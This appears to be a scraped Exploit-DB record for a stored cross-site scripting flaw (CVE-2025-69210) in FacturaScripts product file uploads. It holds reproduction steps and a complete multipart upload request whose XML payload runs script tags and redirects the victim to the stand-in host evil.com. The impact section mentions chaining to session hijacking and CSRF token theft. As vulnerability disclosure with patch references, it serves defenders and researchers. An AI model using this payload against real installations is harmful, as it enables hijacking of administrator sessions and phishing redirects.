{“lastseen”:”2026-04-29T09:27:57″,”description”:”Exploit Title: FacturaScripts 2025.43 – XSS Date: 30-12-2025 Exploit Author: VETTRIVEL U Author Profile: https:\/\/www.linkedin.com\/in\/vettrivel2006 Vendor Homepage: https:\/\/facturascripts.com\/ Software Link: https:\/\/github.com\/NeoRazorX\/facturascripts…”,”published”:”2026-04-29T00:00:00″,”modified”:”2026-04-29T00:00:00″,”type”:”exploitdb”,”title”:”FacturaScripts 2025.43 – XSS”,”source”:””,”references”:””,”id”:”EDB-ID:52517″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-69210″],”sourceData”:”# Exploit Title: FacturaScripts 2025.43 – XSS\\r\\n# Date: 30-12-2025\\r\\n# Exploit Author: VETTRIVEL U \\r\\n# Author Profile: https:\/\/www.linkedin.com\/in\/vettrivel2006\\r\\n# Vendor Homepage: https:\/\/facturascripts.com\/\\r\\n# Software Link: https:\/\/github.com\/NeoRazorX\/facturascripts\\r\\n# Affected Versions: \\u003c= 2025.4, = 2025.11, = 2025.41, = 2025.43\\r\\n# Fixes: https:\/\/github.com\/NeoRazorX\/facturascripts\/commit\/e908ade21c84bdc9d51190057482316730c66146\\r\\n# Patched Releases: https:\/\/github.com\/NeoRazorX\/facturascripts\/releases\/tag\/v2025.7\\r\\n# Tested on: Windows\\r\\n# GitHub Advisories: https:\/\/github.com\/advisories\/GHSA-2267-xqcf-gw2m\\r\\n# CVE Reference: https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2025-69210\\r\\n# CVE: CVE-2025-69210\\r\\n\\r\\n—————————————————————————————-\\r\\n\\r\\n\\r\\n## Description\\r\\n\\r\\nA stored cross-site scripting (XSS) vulnerability exists in the product file upload functionality.\\r\\nAuthenticated users can upload crafted XML files containing executable JavaScript. These files are later rendered by the application without sufficient sanitization or content-type enforcement, allowing arbitrary JavaScript execution when the file is accessed.\\r\\nBecause product files uploaded by regular users are visible to administrative users, this vulnerability can be leveraged to execute malicious JavaScript in an administrator\u2019s browser session.\\r\\n\\r\\n—————————————————————————————-\\r\\n\\r\\n## Steps to Reproduce\\r\\n\\r\\n1. Log in as a normal user.\\r\\n2. Navigate to the Warehouse \u2192 Products section:\\r\\n \\r\\n \\thttp:\/\/localhost:8888\/ListProducto\\r\\n\\r\\n3. Click New Product, enter the details (Example below), and save:\\r\\n\\r\\n\\r\\n\\tProduct Reference: XSS POC\\r\\n\\tDescription: Stored XSS PoC\\r\\n\\r\\n\\r\\n4. Go to the Files section of the product.\\r\\n5. Upload a crafted XML file containing JavaScript OR intercept the upload request using Burp Suite.\\r\\n6. Modify the intercepted request body and inject the following payload as the uploaded XML file:\\r\\n\\r\\n\\r\\nPOST \/EditProducto?code=10 HTTP\/1.1\\r\\nHost: localhost:8888\\r\\nContent-Type: multipart\/form-data; boundary=—-WebKitFormBoundaryPU65l8Am0L64rWdo\\r\\nCookie: [authenticated session cookies]\\r\\n——\\r\\n——WebKitFormBoundaryPU65l8Am0L64rWdo\\r\\nContent-Disposition: form-data; name=\\”new-files[]\\”; filename=\\”xss.xml\\”\\r\\nContent-Type: text\/xml\\r\\n\\u003chtml\\u003e\\r\\n \\u003chead\\u003e\\u003c\/head\\u003e\\r\\n \\u003cbody\\u003e\\r\\n \\u003csomething:script xmlns:something=\\”\\r\\n \\u003csomething:script xmlns:something=\\”http:\/\/www.w3.org\/1999\/xhtml\\”\\u003e\\r\\n alert(\\”XSS\\”);\\r\\n if (confirm(\\”Now Redirect POC\\”)) {\\r\\n top.location.href = \\”https:\/\/evil.com\\”;\\r\\n }\\r\\n \\u003c\/something:script\\u003e\\r\\n \\u003ca:script xmlns:a=\\”\\r\\n \\u003ca:script xmlns:a=\\”http:\/\/www.w3.org\/1999\/xhtml\\”\\u003e\\r\\n alert(\\”XSS\\”);\\r\\n if (confirm(\\”Now Redirect POC\\”)) {\\r\\n location.href = \\”https:\/\/evil.com\\”;\\r\\n }\\r\\n \\u003c\/a:script\\u003e\\r\\n \\u003cinfo\\u003e\\r\\n \\u003cname\\u003e\\r\\n \\u003cvalue\\u003e\\r\\n \\u003c![CDATA[\\r\\n \\u003cscript\\u003e\\r\\n alert(\\”XSS\\”);\\r\\n if (confirm(\\”Now Redirect POC\\”)) {\\r\\n window.location = \\”https:\/\/evil.com\\”;\\r\\n }\\r\\n \\u003c\/script\\u003e\\r\\n ]]\\u003e\\r\\n \\u003c\/value\\u003e\\r\\n \\u003c\/name\\u003e\\r\\n \\u003cdescription\\u003e\\r\\n \\u003cvalue\\u003eHello\\u003c\/value\\u003e\\r\\n \\u003c\/description\\u003e\\r\\n \\u003curl\\u003e\\r\\n \\u003cvalue\\u003ehttp:\/\/google.com\\u003c\/value\\u003e\\r\\n \\u003c\/url\\u003e\\r\\n \\u003c\/info\\u003e\\r\\n \\u003c\/body\\u003e\\r\\n\\u003c\/html\\u003e\\r\\n——\\r\\n——WebKitFormBoundaryPU65l8Am0L64rWdo–\\r\\n\\r\\n\\r\\n6. Forward the request and save the product file.\\r\\n7. Open the uploaded file using the generated file URL, for example:\\r\\n\\r\\n\\r\\n\\thttp:\/\/localhost:8888\/MyFiles\/2025\/12\/9.xml?myft=2043dbb7389b8208d24f4dafb046ee5d71acbda9\\r\\n\\r\\n\\r\\nObserve that:\\r\\nA popup with the message \u201cXSS\u201d is displayed.\\r\\nUpon clicking OK, the browser redirects to an attacker-controlled domain.\\r\\n\\r\\n—————————————————————————————-\\r\\n\\r\\n## Impact\\r\\n- Arbitrary JavaScript execution in the victim\u2019s browser.\\r\\n- Products created by normal users are visible to administrators. When an admin opens the malicious file, the payload executes in the admin\u2019s session.\\r\\n- Phishing \\u0026 Redirect Abuse: Attackers can redirect victims to malicious domains.\\r\\n- If extended, this vulnerability could be chained with:\\r\\n – Session hijacking\\r\\n – CSRF token theft\\r\\n – Admin API abuse\\r\\n\\r\\n- Trust Boundary Violation: User-controlled XML content is rendered as active content without sanitization.\\r\\n\\r\\n## Reference\\r\\n\\r\\nhttps:\/\/github.com\/vettrivel007\/CVE-Disclosures\/blob\/main\/CVE-2025-69210.md\\r\\nhttps:\/\/github.com\/advisories\/GHSA-2267-xqcf-gw2m\\r\\n\\r\\n\\r\\n## Author Details: \\r\\n\\r\\nExploit Author: VETTRIVEL U \\r\\nAuthor Profile: https:\/\/www.linkedin.com\/in\/vettrivel2006\\r\\nGitHub Profile: https:\/\/github.com\/vettrivel007\/”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52517″,”cvss”:{“score”:5.4,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:R\/S:C\/C:L\/I:L\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52517″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-29T09:27:57″,”description”:”Exploit Title: FacturaScripts 2025.43 – XSS Date: 30-12-2025 Exploit Author: VETTRIVEL U Author Profile: https:\/\/www.linkedin.com\/in\/vettrivel2006 Vendor Homepage: https:\/\/facturascripts.com\/ Software Link: https:\/\/github.com\/NeoRazorX\/facturascripts…”,”published”:”2026-04-29T00:00:00″,”modified”:”2026-04-29T00:00:00″,”type”:”exploitdb”,”title”:”FacturaScripts 2025.43 – XSS”,”source”:””,”references”:””,”id”:”EDB-ID:52517″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-69210″],”sourceData”:”# Exploit…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,82,12,40,21,13,7,11,5],"class_list":["post-50098","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-54","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n